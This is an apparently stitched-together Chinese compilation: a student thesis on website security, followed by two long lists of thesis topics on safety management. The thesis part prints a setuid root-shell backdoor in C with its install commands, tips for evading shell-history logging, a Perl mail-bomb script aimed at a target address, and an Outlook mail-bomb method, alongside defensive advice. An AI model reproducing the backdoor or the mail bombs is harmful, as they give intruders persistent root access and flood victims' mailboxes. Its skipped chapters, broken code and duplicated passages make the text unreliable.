第一篇：毕业论文安全与管理
题 目：网站安全与管理
摘要
本文侧重在网站安全方面来谈，讨论了网站常用的保护方法，详细地分析比较了专用网站保护软件采用的各种技术实现和优缺点，并指出了其缺陷。安全虽不是使用某个工具或某些工具就可以解决的，但使用这些工具能帮助提高安全性，减少安全风险。只有更好的保障网站的安全，才能便于网站的管理。
关键词： 安全配置、防火墙、网站安全
目录
第一章
查出黑客所在
首先，就要查出黑客所在才能更好的防御。查出黑客所在有两种方法：
1.用w指令查看系统信息
$w
9:01pm up 10:08, 1 user, load average: 0.08, 0.06, 0.05 User tty login@ idle JCPU PCPU what
notes console 10:54am 9days 28:04 23:29 /usr/dt/bin/dtscreen-mode blank
notes pts/2 10:54am 10:07 /sbin/sh notes pts/4 10:54am 10:06 /sbin/sh notes pts/5 10:56am 9:59 /sbin/sh
在w显示信息的最开头是发出w命令的时间、系统启动后的时间、及注册在系统的用户数。最后的三个数表示平均负载，即使用系统资源的程度，使用w命令给系统增加了0.08负载。其他两个数字分别表示在最后5分钟及十五分钟内系统的平均负载量。
注意：当有人在猜password时，将会大大增加系统的平均负载。
2.进程记帐
Unix 系统可以通过设置选项来让核心在每个进程结束时产生一个记录。这些记录所产生的报告被称为进程记帐。它包括进程使用资源的信息，以及所执行的命令名。如果运行 的是调整用户id程序，则还包括用户名等。系统管理员可根据进程记帐的CPU时间让用户交纳上机费，也可用进程记帐来观察某一用户执行了哪些命令。进程记帐和审计是两码事，审计是监视对安全性敏感的事件。进程记帐并不记下所执行 命令的参数，所以无法知道某一命令修改了哪个文件，甚至也不知道此命令的执行是否成 功。但系统管理员仍然可以在进程记帐中找出某些线索。基于System V的系统和基于BSD的系统在进程记帐方面所采纳的方法不同，命令也不 一样。
2.1 System V记帐
在System V 中，进程记帐保存在/usr/adm/pactt文件中。root可运行/usr/lib/acct/startup 来启动进程记帐。记帐信息的日常处理可用runacct命令来做，它会压缩pacct文件。每月 的处理由shell程序monacct来完成。这两个程序都在/usr/lib/acct目录下。acctcom 命令可用来搜索pacct中的内容，并产生报告。例如：查找用户“tommy”在 10:00 至11:30这段时间内所执行的全部命令。$acctcom-u tommy-s 10:00-e 11:30 START BEF: Sat Oct 10 11:30:00 1998 END AFTER: Sat Oct 10 10:00:00 1998 COMMAND START END REAL CPU MEAN
NAME USER TTYNAME TIME TIME(SECS)(SECS)SIZE(K)cat tommy pts/3 11:01:13 11:01:13 0.02 0.02 492.00 mail tommy pts/3 11:01:13 11:01:13 0.02 0.02 876.00 clear tommy pts/3 11:01:14 11:01:14 0.03 0.01 744.00 ls tommy pts/3 11:01:16 11:01:16 0.03 0.03 776.00 date tommy pts/3 11:01:23 11:01:23 0.01 0.01 664.00
acctcom命令用来告诉系统管理员某一用户干了些什么，而不是正在干什么，而且它指 列出了命令名，没有参数。所以，从中发现一些线索，如可找出使用大量cpu时间的进程(典型的是猜口令进程)。
可用shell程序runacct来产生几个报告。这些报告存放在/usr/adm/acct/sum目录下，其文件名格式为rprtMMDD。报告的第一部分包含“变更”信息，如进程记帐启动及关闭的 时间(关闭记帐可能是由于某人想隐藏某些活动),以及系统时间的改变。第二部分是每个 用户注册到系统的时间以及有关每个端口的报告，还包括了每个端口上“接通”和“断开” 的次数。“接通”表示一次成功的注册，“断开”表示退出系统或注册失败。
大量的“断开” 可能意味着有人在试验“注册名,口令”序列组试图侵入系统中。报告的最后一部分是有关用户最后一次注册的信息，这个最后注册报告是随着用户的 不断注册、退出而时刻更新的。报告中还包括用户名及最后的注册时间，越早退出系统 的帐号排在越前。这个报告对于发现那些死帐号非常有用，管理员可能会在这里发现一 些奇怪的事情如有人注册到系统管理的帐号中(如bin或sys)。
2.2 BSD系统的记帐
BSD系统的进程记帐用/usr/etc/accton程序启动。默认的记帐文件为/usr/adm/acct 只要启动了进程记帐，该文件会增长得很快。BSD有两条命令来处理记帐信息。第一条是 /usr/etc/ac,处理在usr/adm/wtmp文件中的注册信息，第二条是 /usr/etc/sa,产生已用 命令的小结报告，保存在/usr/adm/savacct文件中。
BSD系统中也有与acctcom类似的命令叫做lastcomm。lastcomm命令反向搜索/usr/adm/acct 文件，产生出与acctcom命令相似的结果。
BSD记帐系统也和System V一样，有类似的缺陷(从安全性角度讲),即不保留命令的参数。并且，BSD系统没有最后注册的报告。
现在针对前面的两点防卫措施，从攻的角度来看：
1.对与第一点中用w、who、last、ps等命令，hacker完全可以用程序将自己的记录隐藏 起来，使管理员用以上几个命令都查看不到。当然此时hacker已经把root的权限得到 手(如何得到，下章讨论)。
2.就算最笨的hacker,当他无法隐藏自己时，他也会把整个记录文件删除掉，免得管理员 查到用什么帐号从哪里登录进来，运行了些什么指令。但显而易见，虽然管理员此时(没安装第三方的审记软件时)不能知道谁人在哪里发起攻击，但也无疑地告诉管理员 “你的系统已经给攻破了”。
3.历史文件记录
ksh、csh、sh、bash、zsh都可保存历史文件。其文件如下: sh:.sh_history(sh 也即Bourne shell)csh:.history ksh:.sh_history bash:.bash_history zsh:.history
在运行sh和ksh的用户的相应.profile中，加入HISTORY=100，可指定.sh_history
文件保存该用户最近运行的100条记录。对于csh，则在.cshrc文件中加入, set history=100,则可。用户可以运行history指令来查看历史文件中的内容。对于Ksh、sh 也可运行 tail-f.sh_history 来查看，其顺序是从最近的运行的指令开始。而C shell 是在退出才能更新文件，所以不能用tail来观察Cshell执行了那些命令。这些历史文件比进程记帐更为有用，因为命令的参数也被保留下来，所以可通过执行 执行命令的上下文联系察觉到用户干了些什么。但话又说回来,其实这只起到一定作用而 已。BTW:.profile用于Bourne和Korn shell;.login和.cshrc用于C shell。
4.找出属主为root且带s位的程序:
以root身份执行以下的指令, 找出此类文件，看看是否有可疑的程序存在。
#find /-perm-4000-exec /bin/ls-lab {} “;”
其实在以前post的文章 1284 “系统安全技术的研究” 已有讨论过如何得到root shell 当hacker进入系统后,大部份是利用buffer overflow取得root shell 例如:solaris 中带s位的fdformat,ufsdump,ping等;AIX中xlock;SGI中的xlock;digital中的dop;等等，都给hacker找出其漏洞。当hacker利用这些big bugs取的root shell后，若其想以后还想入侵此系统的话，当然是留下root shell的程序，此时hakcer也不关心原来的bugs是否给fix掉，他/她 不再需要利用bug了，只须运行自己留下的root shell即给。以下给出得到root shell的简单程序:
#cat getrootshell.c void main(void){
setuid(0,0);
execl(“/bin/sh”, “sh”,0);}
编译后得到bin文件。此外，接着写入： #cc-o getrootshell getrootshell.c #chmod 4777 getrootshell #chown root:other getrootshell #ls-al getrootshell
-rwsrwxrwx 1 root other 5 Oct 12 06:14 getrootshell(注意全过程是在取的rootshell后，才可这样做)
这样hacker就在该系统中留下了后门，下次入来后就不需利用还没fix的 fdformat,xlock,dop等bug 的程序了，直接运行getrootshell程序，就可跳成root了。因此，管理员要查清此类型的文件。
现在从攻的角度来看上面两点防卫措施:
1..对于history文件，当hacker进入系统后可以改变shell类型，来使保存他后来所有指 令的history文件失效。因此，当hacker用crack到的帐号进入系统后，第一条所敲的指令 是改变shell类型的指令.example in digital unix下: c:>telnet XXX.XXX.XXX.XXX Digital UNIX(center)(ttyp5)login: tommy Password:
Last login: Sun Oct 11 22:43:51 from HPVC.com
Digital UNIX V4.0A(Rev.464);Sat Feb 7 19:54:12 GMT+0800 1998
The installation software has successfully installed your system.There are logfiles that contain a record of your installation.These are:
/var/adm/smlogs/install.cdfgeneral log file
/var/adm/smlogs/install.FS.loglog for the setld(8)utility /var/adm/smlogs/fverify.log-verification log file center>chsh Old shell: /bin/sh New shell: ksh
其他系统不在此一一列举。
2.对于类似getrootshell的bin文件,hacker也不会真的那么愚蠢到起这个名字，且他们 会将此类型的程序藏在不易察觉的目录下，如果不是老练的管理员是不会发现的。(注:一般来说,hacker不会把getrootshell文件删除的，因为他也不能肯定下次进入系统时那些bugs还是否可以利用,使其变root)
第二章
网站的通用保护方法
针对黑客威胁，网络安全管理员采取各种手段增强服务器的安全，确保文档中的属性符号，不进行屏蔽会对论坛造成严重的后果，网络上不是有很多“小儿科”的聊天室踢人术吗？简单的方式是不允许小于号和大于号的出现，因为所有HTML语法必须包含在这两个字符间，如果程序检测到它们就返回一个错误提示，下面一行Perl代码快速地清除了这两个字符： $user_input=~s/<>//g;当然，还有比较好的选择，就是将这两个字符转换成它们的 HTML换码(特殊的代码),用于表示每个字符而不使用该字符本身。下面的代码通过全部用<替换了小于符号，用>替换了大于符号，从而完成了转换过程: $user_input=~s//& gt;/g;
三、编写简单的邮件炸弹：
利用Perl程序可以非常快速的编写邮件炸弹程序，这种方法比起直接使用别人编写的邮件炸弹要好的多，至少能够真正“体会一下”什么才是黑客。这个炸弹的编译环境是具备一台有CGI权限的网络服务器，同时这台服务器上提供了sendmail命令（当然这一切可以在自己的系统上进行设置），并且还要初步了解有关perl语言的知识。
程序的原理非常简单，就是利用sendmail命令向目标重复发送相同内容的电子邮件，为了控制发送邮件的数量，我们声明一个计数器变量，同时将程序用while()函数做循环，下面是程序的源代码：
#!/bin/perl $file='/user/lib/sendmail';$target='someone@target.com';$count=0;while($count<1000){ open(MAIL,“/$file$target”)|| die“ Can not open $file!n print MAIL”哈哈，你被攻击啦“ close(MAIL);sleep 3;$count++;}
程序就上面这些。Perl属于解释型语言，因而不需要进行编译，直接将源代码上传到服务器上，然后设置成为755或者775型，就可以通过浏览器调用而直接使用了。程序中的$file和$target变量分别定义了sendmail命令的路径和目标的地址，在使用此程序以前要根据个人需要进行修改，而$count变量是我们要发送的炸弹邮件数量，因为发送邮件工作是服务器完成的，因而速度非常快，这个数量可以设置的大一些，我们并不会感觉到程序的缓慢。
四、使用Outlook制作电子邮件炸弹：
相对上一种方法，这个方法更加直接，它不需要专用工具而只需要利用Outlook电子邮件客户端软件就可以轻松完成。首先介绍一下邮件炸弹的基本原理：电子邮件炸弹一般来说分成两种。一种是通过发送巨大的垃圾邮件使对方电子邮件服务器空间溢出，从而造成无法接受电子邮件；另一种方法是无休止的发送相同内容的但很小的邮件使对方接收不过来而放弃自己的电子邮箱。因此我们只要实现其中的一种即可称之为“邮件炸弹”。使用Outlook制作电子邮件炸弹就是利用了上面说的第二种方法，不断的向指定目标发送电子邮件，首先我们要做一些准备工作：申请一个免费的电子信箱，并把这个信箱账号设置到Outlook中，然后选择Outlook工具菜单的“工具”-〉“账号”，选择其中刚刚申请的那个电子邮件账号，然后点击窗口右面的“属性”按钮。在出现的属性窗口中继续点击窗口上面的“高级”标签，更改“发送”设置中的“邮件拆分大小”属性值，这个值尽量更改的小一些（推荐更改成16），确认退出。
这样以后只要使用这个经过设置的电子信箱发电子邮件，只要邮件的大小超过了规定的字节数，Outlook就会自动将电子邮件进行分割，例如一封1600KB的信件，将它拆分成16KB一封的电子邮件发送给对方，对方的信箱中就会出现100多封电子邮件，邮件炸弹的功能就实现了！
五、如何防止电子邮件炸弹：
电子邮件的防范可以从多个方面着手，例如未雨绸缪从开始就谨慎的使用电子信箱，或者也可以亡羊补牢尽快修复电子信箱。在网络上，大多数关于防范邮件炸弹的文章都说的是Linux等系统，而真正涉及初级用户的并不是很多，然是实际更多的人使用的还是Windows系统，即便pop3服务器是Linux系统，现在也没有更多的人通过传统的命令方式接收邮件了，这里将讲述一个与读者联系紧密的防止电子邮件炸弹的方法。
1、不公开信箱地址、准备多个信箱：
早作准备，不让黑客知道自己的电子信箱地址是最好的方法，这就需要使用者在网络上尽量少的公开自己的信箱地址，不要轻易将地址留给不认识的人或者留在电子论坛上。当然，如果可以，使用者可以多申请几个电子信箱，不同的信箱联络不同的人，专门预备出一个公开的电子信箱，一旦受到攻击也不会造成过多的损失。
2、使用软件快速清理炸弹邮件：
使用BombCleaner等炸弹清理软件，可以在不接受信件的时候察看邮件清单，从中选择垃圾信件进行远程删除，这样做可以节省大量下载信件的时间，同时也堵住了通过电子邮件传播的病毒。但是这种方法有它最明显的缺陷：一旦信箱已经被邮件塞满了，就来不及删除上面的信件、而且信发送过来的重要信件也无法接收了。
3、设置信箱过滤：
信箱过滤可以很好的解决上面软件解决不了的问题。过滤器可以设置在本地的电子邮件客户端程序上，也可以直接通过浏览器在pop3信箱的内部进行设置，前者和上面介绍的利用软件基本类似，也是在接收电子邮件的时候对邮件是否属于垃圾或炸弹进行判断，所以在信箱被塞满的时候也不见的起到什么效果。
但是，如果能够在pop3服务器上设置自己信箱的过滤，就可以从根本上避免被攻击的可能了。具体做法是这样的，通过浏览器登陆到pop3服务器上，然后进入自己的信箱，之后找到“邮件收发设置”，并且在其中的过滤器内填写有关发送垃圾邮件的邮件地址（多 个地址可以用分号隔开），并且确认保存，这样就能够在服务器上过滤掉炸弹邮件、保障自己的电子信箱安全了。
4、设置接收邮件的大小：
如果黑客发送过来的不是成百上千封“小信件”，而是一封上百兆的炸弹怎么办呢？这种邮件不需要多少，一封过来就可以把电子信箱塞的满满的，所以用户在设置“过滤”的时候，还要注意“接收信件大小”选项，最好将这个数值控制在电子信箱的三分之一左右。例如使用者的电子信箱空间是三十兆，那么可以通过设置规定接收信件的大小不得超过十兆每一封，如果超过了这个数值，那么来信将被确认为邮件炸弹，而直接被系统舍弃，这样邮件炸弹便再无施展自己的空间了。
第五章
网站保护的缺陷
目前中国国内
80％的网站存在安全隐患，20％的网站有严重的安全问题。一位“黑客”甚至说如果他敲键的速度足够快的话，一天可以黑掉100个网站！这多少可以反映中国网络安全所存在的问题。
网络信息安全研究的人员认为这首先是没有安全意识。北京中联绿盟公司副总经理高永安说，一些网站认为他们的公司还小，不会成为黑客攻击的目标，即使被黑也不会有什么损失。广州京九公司总经理万涛认为，信息安全来自三个方面：技术、管理和学习，加强信息安全不能光做技术，还要重视内部管理和人员培养。而一些网络安全公司的不负责态度，也据估计不利于中国信息安全的提高。据分析，中国信息安全市场容量将达到1000亿元，目前从事信息安全服务的公司已超过一百家，但是市场却相当混乱。有些安全公司为了获得业务，甚至刻意地寻找甚至制造一些网络公司的系统漏洞，然后以此为筹码与网络公司谈判。一些媒体的片面报道，也可能产生不利的影响。据最近在广州进行的一次调查显示，4％的小学生希望成为黑客。媒体报道黑客事件时有两个倾向，一是玄化，将信息安全和黑客说得神乎其神；二是美化，将黑客塑造成英雄和偶像来崇拜。因此媒体必须加强引导，不要盲目地炒作黑客行为，更不能鼓吹黑客的破坏性。
可见，国内网站安全存在必然隐患的问题必须得以正视。尽管网站保护软件能进一步提高系统的安全，仍然存在一些缺陷。首先这些保护软件都是针对静态页面而设计，而现在动态页面占据的范围越来越大，尽管本地监测方式可以检测脚本文件，但对脚本文件使用的数据库却无能为力。
另外，有些攻击并不是针对页面文件进行的，前不久泛滥成灾的”Red Code"就是使用修改IIS服务的一个动态库来达到攻击页面的目的。另一个方面，网站保护软件本身会增加WWW服务器的负载，在WWW服务器负载本身已经很重的情况下，一定好仔细规划好使用方案
结束语
本文侧重在网站安全方面来谈，讨论了网站常用的保护方法，详细地分析比较了专用网站保护软件采用的各种技术实现和优缺点，并指出了其缺陷。安全虽不是使用某个工具或某些工具就可以解决的，但使用这些工具能帮助提高安全性，减少安全风险。只有更好 29 的保障网站的安全，才能便于网站的管理。
网络信息安全研究的人员认为这首先是没有安全意识。北京中联绿盟公司副总经理高永安说，一些网站认为他们的公司还小，不会成为黑客攻击的目标，即使被黑也不会有什么损失。广州京九公司总经理万涛认为，信息安全来自三个方面：技术、管理和学习，加强信息安全不能光做技术，还要重视内部管理和人员培养。而一些网络安全公司的不负责态度，也据估计不利于中国信息安全的提高。据分析，中国信息安全市场容量将达到1000亿元，目前从事信息安全服务的公司已超过一百家，但是市场却相当混乱。有些安全公司为了获得业务，甚至刻意地寻找甚至制造一些网络公司的系统漏洞，然后以此为筹码与网络公司谈判。一些媒体的片面报道，也可能产生不利的影响。据最近在广州进行的一次调查显示，4％的小学生希望成为黑客。媒体报道黑客事件时有两个倾向，一是玄化，将信息安全和黑客说得神乎其神；二是美化，将黑客塑造成英雄和偶像来崇拜。因此媒体必须加强引导，不要盲目地炒作黑客行为，更不能鼓吹黑客的破坏性。
参考文献
主要参考文献： „„„„„„
第二篇：安全管理毕业论文
安全管理毕业论文选题
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起重运输机械现代化安全管理系统研究 高速公路安全管理对策初探
浅谈如何加强施工现场的本质化安全管理 内部网系统的网络信息安全管理 电子病历的安全管理策略分析 杂物电梯的安全管理
玻璃体内注药术的护理配合及安全管理 危重症患者的转运及安全管理方法
高校图书馆电子阅览室信息服务与安全管理 建筑工程科学提高安全管理水平
论图书馆自动化集成系统中数据的安全管理 对档案安全管理工作的探讨研究 企业安全管理诊断理论研究 电子文件信息安全管理评估体系研究 建筑施工机械安全管理研究
如何加强心内科老年患者的护理安全管理 矿山机电安全管理存在的问题及措施 当前矿山的安全现状分析与安全管理 建筑企业安全管理的成本效益分析
儿童恶性骨肿瘤患者留置PICC导管的安全管理 杜邦安全管理理论对护理安全管理的启示 护理安全管理对妇科围手术期的作用 浅议档案安全管理工作
浅析建筑工程安全管理中存在的问题及解决方法 浅谈市政工程施工安全管理 浅析桥梁安全管理
基于Web混合模式的煤矿安全管理信息系统 老年患者口服药物的安全管理 浅谈燃气企业的安全管理 水利施工企业起重机械的安全管理
企业系统化安全管理的主要问题及成因分析 对水电工程安全管理“以人为本”理念的浅析 基于事故致因理论的核电工程安全管理能力结构 患者参与护理安全管理的实施与效果评价 一体化动态安全管理 优质护理服务下的安全管理 涉密单位网络安全管理的难点与对策 施工项目安全管理体系的构建与探讨 浅析物理行业安全管理
安全管理堵与疏(1)——安全管理的经济分析 安全管理堵与疏(2)——安全管理的经济分析 浅谈节假日护理工作中的安全管理
一种现代化的安全管理方法──安全管理信息系统 局域网网络维护和安全管理 企业安全管理诊断技术研究
浅谈安全管理在ERP项目实施团队的应用 大型超市安全管理的定量评价研究
当前我国安全管理存在的问题分析及对策探讨 谈煤矿机电设备的安全管理与维护
数据仓库技术在煤矿安全管理方面的应用研究 患者安全管理流程再造在手术室的应用 我国与欧洲钢铁企业安全管理的差异与对策研究 高职大学生安全管理的思考
浅谈建筑施工现场安全管理中存在问题及管理措施 发电企业安全管理与安全监督管理 ICU检验“危机值”护理安全管理的体会 安全管理:高职院校建设和谐校园的基础
手术标本保管和送检流程在手术室安全管理中的作用 浅论煤炭企业的安全管理
优化安全管理架构 提升安全管理水平安全管理与企业发展的关系 安全管理相关组织属性的比较研究 业主建筑施工安全管理模式探讨
企业安全文化是创造良好安全业绩的保证——解析杜邦公司的安全管理模式 基于行为科学的组织安全管理方案模型 谈图书馆局域网的安全管理 空中交通安全管理实现路径探究
新时期构建校园安全管理长效机制的探讨 浅谈加强建筑施工现场安全管理的要点
严格实施手术室安全管理规章制度是减少护理差错事故的关键 铁路机务系统安全管理面临的新挑战 安全管理中计算机信息化系统的应用分析 护理安全管理在外科老年患者中的应用 护理安全管理课程设置及应用
建立“以人为本”的本质安全管理体系 高校安全管理重要性研究
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基于安全链模型的大型石化建设项目安全管理分析 泰州大桥工程项目建设单位安全管理实践探讨 深入探讨企业网络安全管理中的常见问题 智能巡检管理系统在精神科夜班安全管理中的应用 重点探讨如何提高项目安全管理水平安全管理的系统思维方法
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铁路政工工作与安全管理有效融合的管理模式探索 现代企业安全管理的重要性与实施策略
护理安全干预机制在手术室安全管理中的应用效果 提升工程项目施工现场安全管理水平的措施 简述水电施工企业安全管理 基层供电所安全管理
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发电集团安全管理实践与探索
校园网络安全管理中的黑客入侵与防范 手术患者静脉输液的安全管理 浅谈建筑施工现场的安全管理
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煤矿井下采掘安全管理的改进研究 加强眼科散瞳药的安全管理 荣泰矿安全管理存在的问题及对策 强化建筑工程安全管理的措施研究
血液科病区实施药品安全管理的方法与效果 基于文化引领的高职院校安全管理软实力提升 加油站安全管理的问题及对策研究 浅论建筑工程安全管理 煤矿机电设备的安全管理与维护 化工行业安全管理的重要性问题探讨 化学科研实验室安全管理对策
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加强病区高危药品安全管理的实践与效果 珠海市拱北辖区幼儿园安全管理现况及对策 煤矿安全管理信息系统的开发与应用 安全管理与执行力
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大岗山公司在安全管理主导作用上的探索 屏障技术在护理安全管理中的应用 电力企业安全管理信息系统的设计和实现
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船长如何对船舶安全管理体系的运行进行监控 浅析工程建设监理中的安全管理 铁路企业安全管理浅谈
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前馈控制在手术室护理安全管理中的应用 浅谈化工安全管理的重要性 油田工程建设安全管理策略和实践 论建筑工程的安全管理与控制 浅谈地铁站务安全管理
浅议石油企业安全管理的建设途径 强化校园综治安全管理
做好基层安全管理工作的几点思考 围手术期患者的安全管理 水利工程档案的安全管理
安全管理在护理管理中的重要性探讨 建筑工程的安全管理与进度控制
试论油田作业安全管理的常见问题及对策 浅谈石化企业安全文化建设在安全管理中的作用 安全管理在护理管理中的重要性 浅论煤矿开采安全管理之关键 基于配电网安全管理的探讨
建筑施工安全管理存在的问题及对策研究 雪峰山特长铁路隧道施工安全管理 建筑工程施工中的安全管理 建筑施工安全管理研究
探讨安全文化在护理安全管理中的应用 医疗器械安全管理的研究 城市公共安全管理GIS的应用探讨
中小民营企业安全管理内在动力激发的策略研究 基于安全学习志的安全管理信息系统构建 手术室低年资护士安全管理提高护理质量 杜邦安全理念对高校实验室安全管理的启示 手术室护理安全隐患原因与安全管理应用研究进展 高大模板支撑体系安全管理评价研究 浅析社保基金的安全管理
从风险管理视角加强电子档案安全管理 试论建筑施工的质量管理与安全管理 医学院校化学实验室安全管理的探讨
分析施工过程中的安全管理—“现场技术问答法” 浅谈企业安全管理工作的基础-班组安全管理 高职院校学生安全管理思考
安全管理对现代工程施工现场管理产生的影响分析 浅议我国建筑施工企业安全管理 物资仓储安全管理控制措施分析
浅谈安全管理模式在电力工程施工现场的应用 基于系统动力学的高铁安全管理研究 中美煤矿安全管理差异研究 浅论工程施工现场安全管理 高校实验室安全管理探索 石油企业安全管理探讨 浅议如何加强安全管理工作 论电力工程项目的安全管理 热电厂安全管理的几点思考
煤炭开采过程中的安全管理问题及策略 护理工作中安全管理实践探讨 门诊护理安全管理的难点与重点探析 农电安全管理监督与就地护线检查双向融合 农电安全管理中存在的主要问题及对策 图书馆安全管理工作初探 浅谈船舶机务维修安全管理
水电厂安全管理中存在的问题和对策分析 宁波港域危险货物安全管理存在问题及对策 海阳核电项目安全管理实践与创新 论建筑施工中的安全管理 建筑工程全过程安全管理
美国高校实验室废弃物安全管理浅析 税务信息化建设中的终端安全管理问题探讨 民航安全管理体系(SMS)浅析 加强安全管理,防范煤矿安全生产事故 QC在安全管理中的应用 化工过程安全管理进展 酒店业会展活动的安全管理研究 五九煤炭公司的安全管理对策 港口安全管理评估量化研究 累进式积分方法在安全管理中的应用 现代安全管理的新课题——风险评估 关于建筑工程安全管理效益的思考 浅谈提高地震勘探安全管理的几点做法 电力检修的安全管理探讨 浅谈运输部协力安全管理工作
浅谈建筑施工安全管理问题及对策分析 浅析建筑工程安全管理中存在的问题及解决方法 护理质量与安全管理改进的实践探索 安全管理在房建施工过程中的重要性论述 偏远井场安全管理方法探讨
关于煤矿企业内部安全管理问题的分析研究及建议 浅谈安全管理重在提升安全素质 工程施工安全管理研究与实践应用 汽车站的安全管理措施与防范策略分析 新时期煤矿机电安全管理的发展与创新研究 论如何加强油田安全管理的方法 道路旅客运输企业安全管理对策研究 多哈新港项目土石方工程的安全管理 浅谈高速公路工程建设的安全管理
安全管理软件同防病毒软件冲突的解决方案研究 建筑施工安全管理职责分配的现状及思考 提高水利堤防工程的安全管理工作措施 冶金企业相关方安全管理浅析 小型水电站建设工程中的安全管理
对航运企业安全管理体系审核工作的发展研究 浅谈我院护理安全管理的措施及体会 浅析电力企业的安全管理问题 论建筑工程项目加强安全管理
风险控制技术在建筑施工安全管理中的应用 护理安全管理在血管外科优质护理中的应用 浅析市政工程安全管理信息系统 养老安全管理创新与信息化管理探索
安全管理在手术室护理中的应用效果分析及体会 做好基层安全管理工作的几点思考 开展安全管理效能监察的实践与思考 工程项目安全管理创新实现的途径研究
当前企业安全管理存在的当前企业安全管理存在的主要问题和解决方法探索 加强建筑施工安全管理的有效路径分析 业主单位应对商务楼宇安全管理的对策与思考 施工现场安全管理存在问题的原因分析
企业安全管理工作应着力采取的主要措施和有效途径 注重创新力以提高安全管理的控制力 眼科患者住院期间的护理安全管理 我国与发达国家食品安全管理的比较
建立安全管理长效机制 确保安全生产长治久安 浅谈实现煤炭企业安全管理科学化的途径 企业安全管理成效的实证研究 储气库的安全管理概述
浅谈电力建设以人为本的安全管理
青藏铁路二期土建工程第19标段安全管理浅谈 企业安全管理群体行为与动力理论探讨
国际会议安全管理初探——以桂林2002博鳌亚洲旅游论坛为例 试论矿山企业转机建制中的安全管理
加强领导 落实责任 进一步强化安全管理——1998年中国石化销售公司安全工作会议工作报告
基于DEA模型的铀矿山安全管理效率评价研究 专业技术在企业安全管理中的应用
安全管理在手术室护理中的应用与效果评估 建设工程项目安全管理概念技能探究 民航安全管理的体制改革创新研究 骨科日间手术的安全管理 建筑施工安全管理
层次分析法在矿山安全管理中的应用研究 试析影响煤矿通风安全管理的风险因素 浅谈油库安全管理模式创新 浅谈公路安全管理与经济效益的关系
安全管理对采用高压氧治疗一氧化碳中毒患者心理状态的影响 学习型组织安全管理的内涵和创新研究 化工企业安全管理的探讨
基于HSE管理体系体系下的现代企业安全管理与安全文化 员工个体心理因素在安全管理中的影响分析及对策 浅议水利工程的安全管理
基于约哈里窗的安全管理沟通问题研究 境外施工企业安全管理与安全文化建设
基于个人数字助理(PDA)的安全管理移动办公信息系统设计 业务外包环境下的企业安全管理 创新安全管理思路 完善安全管理体系 电力系统变电运行安全管理和设备的维护分析 关于加强民爆生产企业安全管理的探讨 电力输变电工程建设安全管理 化工企业安全管理的重要性 港口安全管理体系研究 施工企业安全管理浅析 探析电力检修安全管理
对加强护理安全管理的认识和思考 创新安全管理实现矿井持续性安全发展 建筑工程现场施工中的安全管理研究 试析水利渠道施工的安全管理 关于配电网安全管理问题及如何改进 电力安全管理中常见的问题及措施 老年心血管病住院患者的护理安全管理 安全文化在精神科安全管理中的应用 手术室电外科安全管理价值分析 简议高职院校学生公寓的安全管理 安全管理在煤矿采矿工程中的应用探究 妇产科护理工作的安全管理 基于实践教学安全管理常态化的研究 谈谈农村小学安全管理的有效方法 安全管理队伍——安全工作中的中坚力量 对中西式安全管理之间冲突的分析 基层武器装备安全管理文化浅析 管道工程的标准化PDCA安全管理 化工企业安全管理的若干对策 试论热力管网施工现场安全管理工作 浅谈建筑工程施工中的安全管理 基于档案安全管理工作的分析
基于云模型的基层武器装备安全管理文化评价仿真研究 关于改善幼儿园安全管理的若干建议
农村民办幼儿园安全管理问题调查研究——以横店镇为例 对协力安全管理的思考 浅谈采油厂安全管理文化
依托合同过程对工程进行的安全管理 浅谈我国高速公路的安全管理体系 水泥厂建筑施工中的安全管理
做好水利工程施工安全管理工作意义及措施 地铁工程建设安全管理信息化应用研究
安全管理视角下营销风险的预防与管控——以宁夏电力公司中卫供电局为例 煤炭企业安全管理的研究及其实践
会展旅游安全管理概念模型构建——以中国-东盟博览会为例 RFID在煤矿井下安全管理中的运用研究 完善电力安全管理长效机制的研究与实践 安全文化与安全管理
新庄煤矿阳光安全管理体系的构建与实施 新生儿病房安全管理及提高护理质量水平的探讨 浅谈安全管理和安全管理体系的建立 基于行为的安全管理模式探讨 浅谈水电施工安全管理 航运公司安全管理调查研究 浅析变电运行的安全管理 采油生产过程的安全管理之我见 我国煤矿企业安全管理问题探讨 安全管理的必要性及具体措施
以人的安全健康为核心的安全管理新体系的探讨 正视存在问题 规范安全管理
基于模糊综合评价法的建筑企业安全管理 安全管理“八法”的探索与研究 浅析我国煤矿的安全管理
安全文化向安全管理渗透的有效途径 LGD危险品安全管理专家系统的研究 循证护理在产科新生儿安全管理中的应用 浅谈建筑施工中的安全管理与安全控制 35kV及以下架空线路施工现场安全管理对策 试谈建筑施工企业安全管理
对建筑工程施工质量安全管理的若干探讨 院校合作中高职护生的安全管理 浅析建筑工程安全管理 建筑施工中安全管理的若干问题
民用爆炸物品安全管理发展及存在问题的对策 电力安全管理执行力影响要素及建议 浅析企业安全管理中突出以人为本的理念 推行职业健康安全体系 创建科学安全管理模式 生物学实验室安全管理与实践 欧洲铁路行业安全管理的启示
安全管理在煤矿采矿工程中的应用分析 我国内河港口加强安全管理研究
第三篇：安全生产与管理毕业论文题目
《安全生产与管理》毕业论文选题
1、论市场经济条件下企业的安全生产管理
2、浅谈《安全生产法》实施中存在的问题
3、浅析煤炭行业危险源的控制与管理
4、生产中主要危险因素分析及控制对策
5、电工特种作业事故预防与安全操作仿真系统研究
6、企业安全文化建设分析
7、论倡导与弘扬安全文化
8、安全文化建设与现代企业安全管理研究
9、浅谈职业健康安全管理体系在企业中的作用
10、浅谈职业危害的控制对策
11、浅谈坚持“以认为本”搞好施工安全管理
12、论建立我国安全生产监督管理新格局
13、我国企业安全管理生产的现状、问题与对策
14、浅析安全生产管理及其经济效益
15、论我国现阶段安全生产形式、成因及其发展方向
16、浅谈如何提高我国企业的安全技术水平
17、浅谈企业如何抓安全管理
18、安全科学体系建构中若干问题的探讨
19、建设项目实施过程的安全管理
20、论我国安全管理模式的创新
21、现代企业安全管理中人的不安全行为分析研究
22、现代安全管理与传统安全管理之比较研究
23、生产过程安全分析与评价
24、管理理论视角中的现代安全管理研究
25、浅析煤矿行业安全事故的预防和处理
26、安全管理措施在预防煤矿事故中的作用
27、高瓦斯矿井煤与瓦斯突出防治技术研究
28、职业安全管理体系的构建研究
29、安全质量标准化管理研究 30、事故应急管理研究
31、论企业安全生产组织管理模式
32、论如何提高安全生产管理水平
33、论企业安全生产管理信息系统开放与应用
34、小水电站安全生产管理浅析
35、论企业生产中的安全管理与控制
36、加强电力企业生产管理的探讨
37、谈企业建立健全安全生产管理自我约束和激励机制
38、论新形势下如何构建安全生产管理新体制
39、论我国安全生产管理模式的创新 40、电力企业的安全生产管理与对策研究
